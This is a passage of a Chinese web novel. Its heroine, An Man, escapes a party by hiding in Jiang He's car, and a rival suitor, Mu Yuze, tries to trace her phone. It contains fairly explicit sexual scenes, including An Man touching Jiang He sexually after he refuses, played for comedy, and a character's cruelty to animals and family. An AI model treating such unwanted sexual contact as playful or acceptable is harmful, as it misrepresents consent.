因为是一楼,逃脱的十分顺利,一等成功脱身,她就迅速的找了个没有灯光的角落,向远处跑,然后翻开手机,寻找冤大头。 看了半天,最后眼前一亮,打给江淮盛,“你还想让我帮你求情吗朋友。” 江淮盛接到电话,明显还没反应过来:“……什么。” 安蔓声音不耐,毫不客气,先发制人,“你不是刚才还求我帮忙吗!机会只有一次,要不要?” 江淮盛虽然不懂得发生了什么,但今天被揍一顿,就是为了搭上安蔓,犹豫片刻,还是本能答应了下来,“要。” 安蔓理直气壮,完全忘了,刚刚还打算让人整他:“你现在还在韶家的派对吗。” 江淮盛迟疑:“在的。” 安蔓眼睛转了转,声音突然掐了起来,声音柔情似水,甜到发腻:“是这样,朋友,我呢,惹了一点麻烦,需要有个人帮我偷渡出韶家,为此愿意对那个人提供任何帮助。” 江淮盛就知道没有什么好事,有好事也轮不到他,他深呼一口气,还记得自己头上的疤,刚才被揍紫的小腹,只觉得只要跟她扯上关系,就全是麻烦。 他犹豫片刻,没有立刻答应,而是去打听了一下消息,打听完毕后,还是无法舍下这次机会,他都要被江赫逼疯了! 江淮盛警惕,还是下不了决心:“不行,我不相信你,你上次就没认账。” 安蔓不高兴了,“上次是你找我麻烦,这次是我找你,能一样吗!就你这个品德,我不跟你算账就是好事,你到底帮不帮,不帮我找其他人了。” 江淮盛思来想去,头都想痛了,还是不愿意放弃这个机会,最后,他选了一个折中的方法,“我不相信你,而且我身份不够,贸然多带一个人出去,说不定会发现,不如这样,我们现场做一个交易。” 安蔓:“?你说。”. 半个小时后。 安蔓面无表情地上了一辆轿车,质问道,“这就是你的方法,让我上江赫的车?” 江淮盛站在车边,收起车钥匙,“对。” 他看着安蔓充满问号的表情,心里终于有了一丝解气,被她牵连过后,受过这么多次伤,好像终于在这微不足道的地方反击了一次。 这个念头一出来,小腹隐隐作痛,他连忙骂自己,简直像M。这也能算反击?她好端端的坐在那里,作威作福,这和精神胜利法有什么区别! 为了转移注意力,他连忙解释,“对,我身份不够,但是江赫的身份够,没人敢对他查车,你混在他的车厢里就可以过去了。作为交换,你要在见到他的时候,帮我一把。” 安蔓在坐在车上,皮革座椅柔软的,还算舒服,但是她疑问道,“你怎么有他的车钥匙。” 江淮盛把钥匙在手里握紧了,“我爸给我的。” 安蔓连连赞叹,“这就是豪门商战吗,真是太朴实无华了。” 给车钥匙能有几个意思? 偷车,或者给车做手脚。 安蔓挑了挑眉毛,对方 却没有反驳,而是垂下脸。半张脸沉默在阴影里,他长得其实也算不错,虽然和江赫比起来一般,但是自卑自傲的样子,也别有一番滋味。 安蔓有了一点兴趣,直接开口问了,“你为什么不动手?这不是很方便吗。” 江淮盛脸色阴晴不定,良久,冷笑一声,“我可不想做杀人犯,卷进他们父子的争端里。” 而且就算想,也没法动手。 江赫的车库里有几十辆车,只有运气够好,才能轮到这一辆。他的车辆定期检修,每次出门前都有人专门检查,有时还会借给下属开。 “话已经叮嘱完了,我希望你遵守约定。” 韶家。 韶家3楼以上,收藏品众多,被一一分类,精心保存。每样艺术品都价值连城,华丽非常,宛如小型博物馆。 江赫对收藏品并不感兴趣,但是公司里有一项业务与之相关,他让秘书去参照记录,结束后才准备离开。 他走下一楼,原本准备和派对的主人道谢,然后告别,却发现韶家的大厅里乱糟糟的,秩序混乱,许多人来来往往,不知道在找什么。 江赫停了下来,抓住一个佣人,询问,“请问两位少爷在哪。” 佣人脸色焦急,“他们在找人,好像有一位小姐失踪了……请问你有什么事吗?” 江赫面容俊美,神态冷漠,礼貌道,“没事,我要走了,请帮我和两位少爷传达一声。” 佣人:“好的,还有什么事?” 江赫神色淡漠,绿色的瞳孔宛如不变的寒冰,“没有。” 说把他莫名其妙地停顿了一会儿,佣人不知所云,想要离开,却担心他还有话没说,只能在原地静静的等待着。过了一会儿,他重新开口,“那位小姐姓什么。” “啊?” 江赫咬字清晰,“我问,那位失踪的小姐,姓什么?” 佣人回忆了一下,“好像姓安。” 这位客人还没走,明显是有什么疑问。 他想了想,悄悄解释道,“可能是她今天惹了麻烦,我听说今天崔少爷和韶小少爷都为她打架了……” 江赫礼貌颔首,表情毫无波动,“谢谢。” 江赫离开韶家,走到轿车边,停了下来。 平时应该已经坐在驾驶座上的秘书,今天却局促地站在车外,表情尴尬,搓了搓手,看到他才一脸见到救星的样子,释然,“江少爷,你终于来了!” 江赫平静的眼睛扫过他的脸,“什么事。” 秘书表情尴尬,不知道怎么解释,用力指着车门。 江赫莫名其妙开始头疼了,额头上的青筋绷紧,一跳一跳,表情变得阴冷无比,某种预感,让他忽然冷笑一声,手指按在车门上猛然打开。 “Surprise!” 安蔓坐在车内,对他绽放了一个大大的笑容,清纯漂亮,白皙柔软,“江少爷好久不见啊,见到我你开心吗。” 江赫揉了揉额角,冷笑,“滚下来。” 安蔓表情瞬间变冷,不悦道,“怎么说话的,居然能对我这么粗鲁。太让人伤心了,你以前不是这样的。” 她穿着风纪会的制服,衬衫,黑裤,寡淡无趣的搭配,在她身上顿时活色生香起来,雪白的小脸在黑夜中仿佛是在发亮,规矩无趣的衬衫,却领口敞开着,毫无自觉。 嘴唇刻意涂了口红,又艳又俗,红的让人厌烦。 江赫蹙眉,“滚下来。” 安蔓真的不高兴了,“我现在一点都不喜欢你了!烂人!” 江赫冷冰冰道,“你的喜欢,就是几个月想不起一回,惹了麻烦,就往我这里躲?太廉价了,敬谢不敏,出去。” 安蔓摇头,虽然是她把对方忘了,但是对方这个态度她很不爽。 她不爽了,就想折腾人,翘着二郎腿,往座椅上一靠,懒洋洋地解开了一个扣子,“这么讨厌?那你拉我下去吧。” 江赫太阳穴突突地跳,薄唇微抿,脸色冷漠,她就是仗着他不敢。 江赫根本不打算再容忍她,上前就想抓着安蔓的手臂,将人粗暴地拽下来。 谁知道刚一伸手,她不仅不躲,还笑眯眯的往前,撩了撩头发,故意抛了个恶心人的媚眼,娇滴滴说,“你来抓我呀,把我拉下去,我就不缠着你了。” 江赫脸色一僵,手指忽然不自在,脸色冰冷阴沉,充满了不耐,“你自己下来。” 安蔓哼了一声,胆小鬼,连碰她都不敢,还在这里说什么把她赶走了,她主动上前抓住他的手,“你来啊。” 江赫的手指,骨节分明,修长白皙包裹在黑色皮革手套里,很难得摘下来一次。 在安蔓的记忆里,只有在那种时候,他才摘下来过,最近的一次,还是在帮她指见。时隔太久了,她都差点把人忘了,一回忆起来,顿时充满了亲切。 “江少爷,我好想你啊。” 江赫冷笑一声,表情阴冷,眼睛的温度简直像是凝固了。秘书十分识趣,以往遇到情况就避开,现在更是绕了一个大圈,跑到远远的树下躲着抽烟。 这个女人,不知廉耻,毫无羞耻心!不仅脚踏多床,现在居然还敢回头找他,握住他的手指,软绵绵的往自己胸口上按。 “江少爷你就放过我吧,我不想被人抓住,好不好嘛,作为代价,你想对我做什么都好哦。” 江赫被惊到手抖,直接气笑了,蓦然收回手,好半天说不出一句话来,冷笑,“够了,滚下来,不要在做这些事了,我对你不感兴趣。” 安蔓哦了一声,眼睛饶有趣味地向下飘了一眼,她记得这位少爷的尺寸也颇为不错,十分可观,特别是盯着她自己安慰的样子,还挺性感的。 安蔓笑嘻嘻说,“真的吗?那你上次为什么要站起来呢。” 江赫抿了抿嘴唇,差点被她绕进去了,“那是以前的事,和现在无关。” 安蔓倍感兴趣,楚楚可怜地眨着眼,“真的无关吗,要不要我们试一下呀?要是你站起来了,就说明你感兴趣,还喜欢着我,而且还是个撒谎精。” 要是不感兴趣,就说明他阳痿。 江赫停顿一下,难以及齿,“我不会和你试这种东西。” “假正经。”安蔓理直气壮,“你不是不想做小三吗,你现在有做正宫的机会了。” 江赫眼神越发冷漠,忍着怒,深吸一口气,不准备拖延了,就想打电话,让人把她拉走。 手指刚刚找到韶家兄弟的电话,还没有播出,两个人就听到旁边传来的一道声音。十分熟悉,充满疑问。 “安蔓小姐,居然在这里遇到你了,好巧啊。” 那是个面容青涩的男生,脸色微红,笑容有些腼腆,安蔓觉得他有点眼熟,想不起名字来了。 但对于不重要的人,她一向不怎么记,费劲,想了半天才想起来这人是谁,是狂欢日那天第一个抓到她,去医院时偶遇、又帮她挂了个体检的男生。 她想不起名字,也懒得费劲去想,想赶紧把人打发走,扯起一抹笑,敷衍道,“你好,好久不见。” “好久不见。”陆珈笑了笑,“江少爷,你好。” 打完招呼,他就完全忽视了旁边散发寒气的江赫那,站在车边,目光专注无比,眼睛里只剩了她。 “安蔓小姐,好久不见,你的体检报告原本寄到学校里,但是没人签收,又退了回来,最后我帮你代收了。本来想转交给你。但是后面一直没有机会见面。” 陆珈的脸色有点伤感,不知道想到了什么,眼睛甚至露出了一抹难过,深吸了几口气,声音里甚至有几分哽咽,像是不忍说出接下来的话。 “安蔓小姐,你的体检报告出来了,抱歉,上面有一些选项指标不太好,我认为你可能需要复查一下。” 安蔓呆了一下,表情茫然,“……啊?” 什么意思?难道是她上辈子的癌症真的带过来了,还呈现在报告上了? 陆珈看了一眼江赫,哽咽道 ,“你的病……方便在这里说吗?” 江赫原本冷眼旁观,毫无兴趣,渐渐蹙起眉毛,困惑道。 “病?” 第74章 第74章休息 74. 江赫就是个石头,顽固不化,半天敲不开凿不动,冷酷无情,死活不肯帮忙,直到听到陆珈说的“病”,神色才微微波动,“什么病。” 陆珈有点懊恼,不太确定地看了安蔓一眼,犹豫道,“这毕竟是安蔓同学的个人隐私,我需要获得她的许可,才能告诉你。” 江赫拧起眉毛,表情冷冰冰的,“说。” 陆珈摇头,“刚刚是我失言了,我不能……” 安蔓没耐心了,一溜烟缩进车内,惊怒交加,“我的病怎么也带来了,这玩意儿是能带来的吗?你是不是有病啊!” 系统有点心虚,底气不足,“这个,这个是特殊情况……” 安蔓气得要命,身体是原装的当然好,她满意自己的任何部位,用起来也开心,但偏偏最不喜欢的东西也跟过来了! 就像一个游戏,玩的好好的,她在里面肆意妄为胡作非为,结果突然变成现实,那就是惊悚片了。 安蔓又气又恨,清丽的眉眼都气红了,气愤质问,“快说。” 系统欲哭无泪,“你听我给你解释啊!任务完成后,你可以选择留在这个世界,或者回去。如果选回去,系统会自动清除你对任务的记忆;如果留下,记忆不清除。” 安蔓冷笑:“那病呢!” 系统解释:“不管留不留下,完成任务后,身体都会恢复到最佳状态,再检查也会显示误诊。” 它解释着,也有点委屈,“我怎么知道你突然心血来潮要去检查呀,生病本来就是你自带的状态。在你完成任务期间完全没有影响,不然你怎么还可能这么活蹦乱跳的。” 也就是说,在任务完成前,完全没有影响,她不查没事,查出来了,任务完了反而要费心解释。 安蔓柳眉倒竖,气势汹汹,“你怎么不早说!” 系统委屈都快冒烟了,“免责条款是你自己不听完的!” 安蔓更生气了,“一万两千条免责条款你好意思吗!” 系统也不高兴了,“这也不是我规定呀,而且也不都是坏处,你看男主二号一听,态度都软了。” “万一他们把我绑了治病怎么办?那我还要不要攻略了!” 吵架间,江赫上了车,一人一统,瞬间闭嘴。 江赫面无表情,脸上看不出任何痕迹,给秘书打了个电话,吩咐,“回来开车。” 秘书回到车上时,一片安静。 车上静悄悄的,没人说话,他看了一眼,十分识趣,也没开口,将车插进钥匙。 秘书:“江少爷,去哪?” 江赫开口,言简意赅,“回家。” 安蔓又不高兴了,系统说的回去、留下两个选项,她从来没有认真思考过,这次因为病情,被提了起来,让她想到头痛。 恰好,江赫刚刚让她滚下车,她很不开心。现在不让她滚了,但是不说话,冷暴力,也很过分。她心情一坏,就想折磨人。 安蔓故意扭着嗓子,撒娇道,“江少爷,我不想知道,我刚刚怎么上车的吗?” 江赫冷漠低头,翻着膝盖上的书,不置一词,专注又平静。 安蔓将声音放低了,更柔了,软的像是在滴水,手指在他的大腿上转圈:“刚才还那么抗拒,现在就默许我上车了,我就知道你心疼我。” 江赫的手指抖了一下,书翻不下去了,反手抓住她乱动的手,依旧是冷冰冰的,连手指的温度都冰的让人一个哆嗦,“有病就去治,等会儿出了韶家,我会让人把你在路口放下。” 更多的他不准备管,也不该他管。 安蔓气红了脸,雪白的皮肤泛着艳艳的红,如同熟透的水蜜桃,饱满多汁。 就算是她把江赫忘了几个月,这人也不能这么对她啊,又不是故意的,太小气的。 但他的手指很冰,温度透过光滑皮质手套,让人情不自禁的哆嗦,很适合……那样。 正好她心情不好,一肚子火,正需要让人降降温。 安蔓轻咬嘴唇,唇齿泛粉,声音娇滴滴的。 “江级长,我就知道你最好了,心软,不会不管我的。其实在几位少爷中,我觉得你人是最好的,长得又帅,品行又佳,成绩也不错,最适合当男朋友了。” 江赫面无表情,束缚好她作乱的手,不准备搭腔,一搭话就像刚才那样没完没了。 他按下窗户,夜色已深,冷风猛的灌了进来,凉意十足。 小车越接近大门,越能听到一阵清晰的骚动。 门口除了警卫,多出了一些风纪会的成员,聚在一起,越靠近,声音越清晰。 “每辆车都需要检查?” “请下车。” “你们凭什么搜车,你知道我是谁吗?” “你们这种贱民,有什么资格来搜查我们?” 检查队伍为首的男女,气的眼睛都红了,两个人都穿的着风纪会的制服,在会里等级不低,这次听吩咐来检查离开车辆。 但是风纪会的名头,在学校里好使,出了学校就不管用了,还是靠警卫压下了不听话的宾客。 “两位韶少爷,在找人,不下车也可以,把窗户打开让我们检查一下。” “凭什么!让韶少爷来跟我说!” 安蔓看了一眼,有点头疼,要是被崔英朗抓到了,指不定还要怎么闹。 她瞬间闭嘴,滑下座位,扯着江赫的衣摆,露出楚楚可怜的眼神,“救救我,江少爷。” 江赫昂贵的定制西装外套,都被她的手揉皱了,他闭了闭眼,还是无视了她,扯过一边的毯子盖在腿上,同时将安蔓也盖住。 “再闹,我就把你扔下去。” 安蔓被毯子蒙住脑袋,密不透风,蹲在一边,娇声娇气,“我没闹啊。” 江赫将她的头按下去,“闭嘴。” 安蔓被他训到想骂人,偏偏这时没法还嘴,气得咬紧唇瓣,脑子里咕噜噜地冒坏水。 这个死男人!太过分了! 她生了一会回气,脑子里突然冒出一个主意,眼睛变得亮晶晶的,忍不住扬起了红唇。 前面几人吵了很久的架,僵持了半天,搞得后面的排队的人连按喇叭,几分钟之后,小车终于动了,秘书将车停在一边,风纪会成员向车内探了探脑袋,恭敬说。 “江少爷。” 江赫手指按在薄毯上,幽冷的绿眸看着窗外,“我也要下车?” 检查的人向车内看了一眼,车里没有开灯,薄毯是黑色的,隐没在阴影里看不清楚,匆匆扫过之后道,“不用,没有问题。” 江赫微微颔首,手指敲了敲膝盖,刚准备让秘书开车,声音忽然抖了一下,“唔……” 检查人员有点困惑。江赫面容冷峻,俊美傲慢,如同巍峨雪山,令人难以靠近,他皮肤白,攻击性十足,此刻脸却突然红了一片,僵硬又茫然。 检查人员,“怎么了江少爷?” 江赫脸色阴沉,咬着牙,细看中甚至透着几分难堪,手指攥紧了薄毯,手背皮肤薄,青色的粗筋根根隆起,“没、事。呃!” 检查员摸不着头脑,“如果您需要检查身体,邵家庄园里有专业的全科医生……” 江赫的脸色发青,攥紧薄毯的手被微微放松,一会儿又紧紧捏着,表情阴郁可怖,声音像是一个字一个字从喉咙里蹦出来,“不、用。走!” 检查员让人放行,打开了韶家的门。 秘书得到指令,丝毫没有耽搁,立刻启动了车。 小车缓缓振动,从韶家离开,进入黑暗。离开韶家,便是盘山公路,路边安了一盏盏明亮的路灯,将车内外映照的纤毫毕现。 江赫关上了窗,额头出了一点汗,眼中难堪至极,气的浑身发抖,捏着薄毯,猛然掀开,厉声呵斥,“安蔓!” 下一秒他就后悔了,因为他听到了拉链拉开的声音。安蔓抬起头,眼睛亮晶晶的,眼尾狭长,睫毛浓密。 她发丝漆黑,妆容素淡,气质清冷,笑起来却有一种极端恶劣的意味。 手指又细,又长,又软,白皙。 白生生的,颜色对比鲜明,一个漂亮纤细,一个狰狞粗犷,她声音压着,带着笑意,“有本事你别站起来啊,假正经!” 江赫深呼吸,“停车!” 秘书一脚刹车,将车停在路边。 江赫表情忍耐,脸上阴沉可怕:“你还想走吗?” 安蔓真的讨厌他这幅臭脸,手指弹了弹,笑吟吟说,“想。” 江赫被她气笑了:“我在帮你,你就是这么对我的?” 安蔓嘴唇上扬,略带不满:“我也在帮你。” 江 赫被她的厚颜无耻惊到,瞳孔中的绿冰的几乎凝结:“我不需要!” 安蔓摇头,红唇轻启,不赞同道:“他需要,好可怜,主人都不管它,伤心激动的都流泪了。” 江赫冰冷的绿眼寒气四溢,脖子绷着青筋,气得语无伦次,“疯子,你的羞耻心呢,你……” 安蔓兴致勃勃,“你该做什么做什么,不用管我。” 啪嗒。 前面忽然一声轻响,是秘书识趣地放下了挡板,瞬间车前车后,分两个世界。 挡板私密性极佳,不仅隔绝画面,还隔绝声音,此刻对于江赫而言,却毫无帮助,反而火上浇油。 他脸色青青紫紫,耻辱至极,按着她的肩膀,厉声道,“滚下去!” 安蔓最讨厌他高傲冷漠的脸色。最喜欢他现在崩溃难堪的样子。 江赫伸出手按住她的肩膀,想拽开,但是他越用力,安蔓也越用力,到最后都不知道是在扯开她,还是将她按向自己。他额头缀着晶莹的水珠,表情羞耻到极致,鲜红的嘴唇微张,不仅是头痛,感觉浑身都痛起来,“你到底想怎样……” 安蔓眼角弯弯,脸颊泛红,漆黑的眼睛洋溢着愉快的神采,好声好气,“我们商量个事呗,马上就是暑假了,你收留我几个月,好不好。” 德川暑假时间一般从5月中开始,一直持续到9月初,大约三个月左右。 三个月的时间,够崔英朗冷静了,她才不要直面他的怒火,趁现在傍个冤大头,舒舒服服混几个月最好。 江赫已经被她气的说不出话来,安蔓明晃晃的心机,浅显的要命。没用了,把他一脚踹开,现在有求于他了,开始刻意讨好。 讨好的也不完全,更多的是羞辱,戏弄,把玩,因为好奇,她漂亮的眼睛瞪圆,直勾勾地盯着。 一股热气蔓延全身,耻辱备至,江赫冷笑,“你觉得,三个月,够让崔英朗冷静。” 安蔓扬起睫毛,清冷又漂亮,没心没肺,“应该够吧,不够我也没办法。” “那三个月之后呢,除非你不上学了。还是得面对他。” 安蔓想过这种可能,漂亮的眼睛里闪过一丝泪光,楚楚可怜,梨花带雨,“那怎么办,江少爷,你帮帮忙。” 江赫眼中冷意,偏偏被她握着把柄,胸口淤堵,不上不下,“关我什么事。” 安蔓柔弱无比,软软威胁:“帮帮我吧,我害怕他。” 江赫浑身怒火,手被抵着额头,气的剧烈喘气。 半响,一字一字的从牙齿里蹦:“只帮你三个月。” 安蔓勾唇,死男人,嘴上说的最厉害。 她抽了一张纸巾,声音娇滴滴的,像是抱怨,又像是撒娇,“我还以为你全身都是冷的,没想到还是有热的地方的。” 江赫难堪闭眼:“别说了。” 安蔓擦干净,条件一谈妥,立刻翻脸,颐指气使:“哼,假惺惺,答应的这么快,总感觉我亏了。” 江赫缓缓调匀呼吸,闻言,额头忍不住跳了跳,有种不好的预感,“你又要干什么。” 安蔓眉目舒展,振振有词:“我也想要你帮忙,你不能自己一个人快活,我很伤心。” 江赫声音凉森森的,手背、脸颊因为怒火,还在微微发热,“自作自受。” 安蔓不干了,她才不是那种甘于奉献,服务他人的性格!她性格自私,付出了,一定要别人成倍的还回来,才甘心。 她抱着江赫耍赖,不许他走,笑嘻嘻地撒娇:“帮帮我嘛~” 江赫额头轻跳,无语了半天,忽然问,“对他们也是这样的。” 安蔓眼皮一抖,这话怎么酸溜溜,带着一个阴阳怪气的味道。 她才不搭腔,故作无知的舔了舔嘴唇,红唇泛粉,诱人无比,天真无邪道:“你帮不帮我嘛,我都愿意和你在一起了。” 江赫沉默片刻,“你想我怎么做。” 安蔓漆黑的眼珠转了转,她眼睛清澈,眼型漂亮,瞳孔黑白分明,抿着唇,微微笑起来的时候,眼中的恶劣一览无余,“我喜欢冷的。” “……什么?” 安蔓软软的手指,按着江赫发红的嘴唇上,指尖温热,口腔热气腾腾。她眼睛更弯,浓密的睫毛抖了抖,声音撒娇,“江少爷,帮我降降温嘛。” 车载冰箱里放了啤酒和冰块,江赫不喝酒,用高脚杯装了一杯冰块。 冰块晶莹剔透,可以降温、止痛、消解炎症。含在嘴里,作为佐料,十分增色。 江家到了,秘书没有收到下车指令,所以他开着车,围着旁边的公路,在市区绕了一圈又一圈。 半个小时后,他终于等到了“停车。”,一脚刹车,将车开入停车场。 江赫嘴唇亮晶晶的,舌尖因为寒冷,被冻红了,面无表情,压力十足,“进去。” 安蔓软着手臂,扭着腰,靠在江赫身上,喉咙娇声哼哼,“没力气了,你抱我进去吧。” 江赫面无表情,表情冰冷至极,细看还带着一丝厌烦手指去。穿过她的腰,将人轻松抱,起走入江家。 两人抵达的是他的私人别墅。江赫把人抱了进去,扔在沙发上,又转头走出。 秘书见转,立刻开口,“少爷今天的事……” 江赫:“你闭好嘴。” 秘书弯了弯腰,“是,请问,要将她安排在哪。” 江赫闭了闭眼,自我厌恶道:“顶楼都给她,让她自娱自乐,没事别下来。” 秘书记下了,立刻让人安排,又问:“……今天安小姐出现在车内,说明她手里有钥匙,是否要去调查一番。” “我知道是怎么回事。” 江赫英俊的眉眼中露出几分阴冷,冷笑一声,打断他,换了个话题,“安小姐在医院做一次检查,你去联系医院,帮她取回报告,发给我。” 秘书恭敬道,“是。” “这段时间的事结束后,我给你放半年的带薪假,自己选个地方去度假。” “是。” 秘书的笑容更真诚了,他最开始,其实是江父派来了的间谍,后面被策反了。没办法,江少爷虽然严苛,但出手大方,寡言事少,是最受欢迎的那种甲方。 “去休息吧。” 江赫看了一眼时间,已经接近凌晨。 韶家那里,说不定已经闹的翻天覆地了。 第75章 第75章75.安蔓坐在…… 75. 安蔓坐在沙发上,翘着二郎腿,玩手机。 时间已经是凌晨三点,身体毫无困意,意识清醒,冰块太刺激了,被滚烫的舌尖推进去,搞得她浑身激灵,刺激死了,根本睡不着。 手机几乎要被信息塞爆,先是崔英朗的电话轰炸,接着还有韶景荻的短信问候,甚至连栗纯都拐弯抹角地问她在哪。 短信中,以崔英朗发来的数量最少,开始语气还算平静, 问她在哪,到后面大概知道她又逃跑了,什么都没说,只发来了一串省略号,看起来像个冷笑。 安蔓打了个寒战,“太可怕了。” 她现在不打算触崔英朗的霉头,果断跳过了他的信息,继续看消息。 [慕玉泽]发来了好友申请。 慕玉泽这个原著里的神经病,纯坏种,在剧情里描述的非常的癫狂,行为没什么逻辑,唯一的优点就是他长得非常好看,有一张好看的脸蛋,在初中时就因为兴趣做了模特,身材很好,粉丝不少。 他基因好,金发蓝眼,清纯漂亮,皮肤雪白,睫毛浓密,慵懒时如同漂亮的布偶猫,毫无攻击性,很能糊弄人,光看外表,谁都不知道他是个坏东西。 安蔓通过了申请,好奇他要做什么,发过去一个问号。 对方什么都没说,批量转了一些聊天记录。 安蔓好奇点开,才发现这应该是个内部讨论群,在谈论她的逃跑后续。 k—- [有人知道今晚在找什么吗?太失礼了吧。]- [好像是韶家的宝贝丢了,所以派人一个一个来找,不知道是什么价值连城的宝贝需要闹这么大动静。]- [上面的没料别乱讲,是有人逃跑了,至于逃跑的是谁,我只能说今天晚上C少爷和S少爷打起来了,你猜他们为什么打起来?]- [校花出轨被抓,两个少爷打起来,她趁机逃跑了。]- [真的假的?她是真不怕死啊。c少爷今晚都气成什么样了。]- [像她能做出来的事。]- [莫名有点好笑。]- [本来今晚看到她和崔少爷在一起我还有点失望的,没想到这么快又翻车了,真有意思,谁能猜中他下一个会选谁?]- [贱女人,不就靠着自己有一张脸。]- [她真漂亮,我喜欢她。]- [韶家已经开始大清查了,她逃不了多远了,据说已经动用天网了,她逃不掉了!] 安蔓皱眉看完了,脸还在发热,身上黏糊糊的,异物感明显,冰块化成了水,湿哒哒的,把她衣服都打湿了。 那种感觉十分怪异,她并了并腿,集中精力,就发过去一个问号,谁知道下一秒,对面就打来一个语音申请。 慕玉泽的声音低哑,清澈,仿佛叮咚的泉水,非常悦耳,含着淡淡的笑意,“你好,安小姐,需要帮助吗?” 安蔓莫名其妙,搞不通他的意图,“你想帮我,为什么?” 韶家。 慕玉泽站在客厅,举着手机,表情无聊,金发在夜空中闪闪发亮。 他的头发颜色淡,偏向浅金,在强光的照射下微微失色,呈现出一种柔顺的银白,绸缎质感,极为漂亮。 可惜略显扭曲的表情,破坏了那种洁白无瑕的清纯感。 慕玉泽也看过那份聊天记录,里面的讨论半真半。 天网是没有的,但是信息追踪器是有的,不需要准备,韶家就有最新的机器,不管是谁跟安蔓打电话、语音。只要接通了,就能在几分钟内追踪到她的地址 慕玉泽坐在沙发上,长腿微翘,单手支着下巴,手机开了免提,对面的声音在这个房间里清清楚楚,传遍了每个人的耳朵。 崔英朗表情阴冷,韶家的兄弟坐在一起,每一个人的表情都不是很好。 所有人都给安蔓打去了电话,发了信息,只有慕玉泽的语音被接通了。 他没什么自得感,语气殷勤,表情无聊,“看来你听说过我?” 安蔓当然知道他是谁,但那是从剧本里看到的,肯定不能那么说,她随便找了个理由,“在论坛里看到过。” 慕玉泽的态度居然还挺礼貌的,“你好,安小姐,我在外面旅游太久了,可能不太了解现状,但是我回来之后发现我的几个朋友都对你执着的不行,所以想了一下,我不参与进去好像有点不合群。” 安蔓莫名其妙,还以为他有什么重大提议,“不需要。” 慕玉泽遗憾,“真的不需要吗?” 安蔓对任务外的人都不是很感兴趣,不想费精力,原本想直接挂断电话,又想起他那张脸觉得可惜。 反正是倒贴嘛,不要白不要。 她轻哼一声,脸上露出了一个灿烂的笑容,声音压低了,笑眯眯道,“我需要帮助,不过我不需要这种帮助。” 慕玉泽耳朵有点痒,安蔓的声音很甜又很软,特别是现在有一种刻意的做作,像是生起了什么坏心眼,“什么帮助,只要我能做到,都能提供。” 安蔓对倒贴的货色一向来者不拒,特别是长得好看的那种,她眼睛弯了弯,“现在心情不好,想看男人的裸.照,你能帮我吗?” 慕玉泽眉心微微皱了一下,他还以为安蔓是那种专一单纯的类型,不过能和男人在病房里开房,想来也不会多单纯。 旁边的技术人员拼命打手势,示意他时间不够。 慕玉泽饶有兴致,安蔓虽然好看,但是他的审美更倾向于父母那种,彼此专一、深情,但是看到崔英朗他们的表情也很有趣,“你想看谁的照片。” “你的。” 安蔓对攻略外的角色完全没什么耐心,说完就挂了断了电话,“先把你裸照发来,我再考虑跟你谈。” 电话断了,房间里却死寂一片。 技术员的声音颤巍巍地响起,打破凝滞的空气,“时间太短了,只能确定大致的范围。” 崔英朗的表情阴沉的滴水,手指捂着脸忽然滴滴的笑了起来,笑声令所有人毛骨悚然。 韶景荻也有点不高兴,皱了皱鼻子,忽然长长的叹了一口气,释然地靠着自己的兄长,“算了,赶紧查查那一片的住户吧,快点把人找出来。” 慕玉泽面带笑容,双手抱胸,看着他们忙碌起来,转身告了别,坐上了车,让司机开回家,没有人把安蔓刚刚的提议当真。只有他饶有兴致,半夜洗完了澡,脑子还在转悠着他的话。 裸.照? 他赤足站在浴室里,在蒸腾的雾气,对着镜子打量了一下。 作为模特,必须身材管理极好,身材匀称有力,肌肉结实发达,如同顶级雕塑家制作的雪白大理石像的身材,充满张力,与他纯情的脸蛋完全不同。 作为顶尖的模特,他参与过不少活动,但从来没有人胆敢向他潜规则,真那样做的人都死了,还是第一次有人向他要裸照。有意思。 慕玉泽换好衣服,擦干头发,走下一楼。外面刚好传来一阵笑声,是他的父亲母亲,牵着妹妹走进家里。 三人刚刚出国了一趟,才回来,猝不及防看见了他,脸上了的笑容顿时僵硬在原地,一家三口的表情都变得警惕而疏远,“你怎么回来了。” 慕家只有两个孩子,他作为长子自然是顺理成章继承家业,但是父母从来不亲近他,只喜欢他妹妹,甚至有隐约培养妹妹的倾向。 慕玉泽有点嫉妒父亲对妹妹的宠爱,三个人仿佛才是一家人,而他只是一个多余的孩子,从小被爷爷抚养长大。父母永远只会偏心妹妹。 慕玉泽笑容真诚,毫无阴霾,“父亲、母亲,你们怎么才回来。” 慕父皱了皱眉头,表情客气,“你下次回来,提前说一声,我们好做好准备。” 慕玉泽仿佛听不出他话里的态度,微笑着和他们逐一打了个招呼,接着目光对准。躲在父母后面抱着母亲大腿的妹妹。 慕玉泽让管家拿来一个礼物,走了几步,蹲下身,微笑诱惑,“不好意思,错过了你的生日,这是我给你补的生日礼物。” “父亲母亲,既然你们不想见到我,我就先回房间了,我不会在家里待很久。” “下周等我找到住的地方,就会搬出去,不留在家里,碍你们的眼。” 慕玉沁懵懵懂懂,不喜欢这个哥哥,有这种小动物般的本能,每次他来就要哭。 但她很喜欢礼物,犹豫一下还是跑上前把礼物拿回来,打开看了一眼就哭了,里面居然是一盒死老鼠! 慕父怒道,“慕玉泽!你太过分了!她可是你的妹妹!” 慕玉泽表情温柔,纯洁无瑕,“怎么了?那只是一盒仿真玩具罢了。你仔细看,我觉得仿的一点都不像。” 慕父怒道,“滚!” 慕母表情有点复杂,微微惆怅,叮嘱女儿,“你离他远点。” 他们何尝不喜欢自己的孩子,慕玉泽是长子,自小生下来,便奉上了自己最好的东西,精心养育,而他也不负众望,长得又聪明又好看,从小就像一个小天使一样,饱得宠爱。 直到他们发现,这个孩子不太正常,有种扭曲的心理,不喜欢他们对于他之外的任何人好,某天因为他们招待了隔壁邻居家的孩子,忽视了他,转眼就把小孩恶作剧用的宠物蛇活生生摔死,然后用刀洁癖,一点点摊开放在那小孩面前。 为了惩罚他,慕父慕母专门给他关了禁闭,结果他转眼就把房子烧了,在火光中还微笑着看着火焰,纯洁又可爱。几次三番下来,他们寒了心,不知道怎么把孩子培养成这个扭曲的性格。后面有了二胎就看得很紧,坚决不让他靠近。 如果不是慕玉泽爷爷,坚持要把他留下,这对父母在这个小孩几次三番,作出的对抗行为后,就要把他扔掉送人了。 他就是个纯坏种,只要哪里不让他满意,就会折磨所有人! 慕玉泽表情闪过一丝阴郁,最后又是无聊,这么久了,没想到父母面对他还是这种态度,不过不就是小时候做了一些错事吗? 真没意思,还不如和那位校花小姐聊天。 他迈开脚步,离开了穆家,坐在车上打开相册,挑了几张照片。 裸.照。他没有。 不过发几张不穿上衣的照片,他还是有的. 安蔓挂了语音,就不管他了。 